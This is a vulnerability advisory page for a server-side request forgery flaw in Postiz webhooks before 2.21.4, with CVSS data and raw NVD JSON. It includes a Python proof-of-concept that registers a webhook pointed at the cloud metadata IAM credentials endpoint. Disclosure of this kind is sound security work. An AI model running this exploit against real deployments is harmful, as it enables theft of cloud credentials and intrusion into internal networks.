Security Vulnerability Report
中文
CVE-2026-34590 CVSS 5.4 MEDIUM

CVE-2026-34590

Published: 2026-04-02 18:16:31
Last Modified: 2026-04-07 21:21:53

Description

Postiz is an AI social media scheduling tool. Prior to version 2.21.4, the POST /webhooks/ endpoint for creating webhooks uses WebhooksDto which validates the url field with only @IsUrl() (format check), missing the @IsSafeWebhookUrl validator that blocks internal/private network addresses. The update (PUT /webhooks/) and test (POST /webhooks/send) endpoints correctly apply @IsSafeWebhookUrl. When a post is published, the orchestrator fetches the stored webhook URL without runtime validation, enabling blind SSRF against internal services. This issue has been patched in version 2.21.4.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:gitroom:postiz:*:*:*:*:*:*:*:* - VULNERABLE
Postiz < 2.21.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_host = "http://vulnerable-postiz-instance.com" attacker_controlled_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" login_token = "<USER_ACCESS_TOKEN>" # Step 1: Create a malicious webhook create_webhook_url = f"{target_host}/api/webhooks" headers = { "Authorization": f"Bearer {login_token}", "Content-Type": "application/json" } payload = { "url": attacker_controlled_url, # Internal IP address "event": "post.published", "provider": "custom" } response = requests.post(create_webhook_url, json=payload, headers=headers) if response.status_code == 201: print("[+] Malicious webhook created successfully.") print("[*] Wait for a post to be published to trigger the SSRF.") else: print("[-] Failed to create webhook.") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34590", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:30.670", "lastModified": "2026-04-07T21:21:53.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Postiz is an AI social media scheduling tool. Prior to version 2.21.4, the POST /webhooks/ endpoint for creating webhooks uses WebhooksDto which validates the url field with only @IsUrl() (format check), missing the @IsSafeWebhookUrl validator that blocks internal/private network addresses. The update (PUT /webhooks/) and test (POST /webhooks/send) endpoints correctly apply @IsSafeWebhookUrl. When a post is published, the orchestrator fetches the stored webhook URL without runtime validation, enabling blind SSRF against internal services. This issue has been patched in version 2.21.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitroom:postiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.21.4", "matchCriteriaId": "5C48A1C3-2954-480E-989E-4CE68EADAF4B"}]}]}], "references": [{"url": "https://github.com/gitroomhq/postiz-app/commit/5ae4c950db6aa516a31454b7a45b9480bca40a11", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-wc9c-7cv8-m225", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}